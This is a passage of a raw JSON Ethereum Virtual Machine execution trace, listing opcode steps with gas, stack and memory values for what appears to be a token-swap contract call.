000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15233,"op":"JUMPDEST","gas":100974,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15234,"op":"PUSH1","gas":100973,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15236,"op":"PUSH1","gas":100970,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15238,"op":"DUP3","gas":100967,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15239,"op":"DUP5","gas":100964,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x20","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15240,"op":"SUB","gas":100961,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x20","0xc4","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15241,"op":"SLT","gas":100958,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15242,"op":"ISZERO","gas":100955,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15243,"op":"PUSH2","gas":100952,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15246,"op":"JUMPI","gas":100949,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x1","0x3b93"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15251,"op":"JUMPDEST","gas":100939,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15252,"op":"DUP2","gas":100938,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15253,"op":"CALLDATALOAD","gas":100935,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15254,"op":"PUSH2","gas":100932,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15257,"op":"DUP2","gas":100929,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15258,"op":"PUSH2","gas":100926,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15261,"op":"JUMP","gas":100923,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x3643"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13891,"op":"JUMPDEST","gas":100915,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13892,"op":"PUSH1","gas":100914,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13894,"op":"PUSH1","gas":100911,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13896,"op":"PUSH1","gas":100908,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13898,"op":"SHL","gas":100905,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13899,"op":"SUB","gas":100902,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e74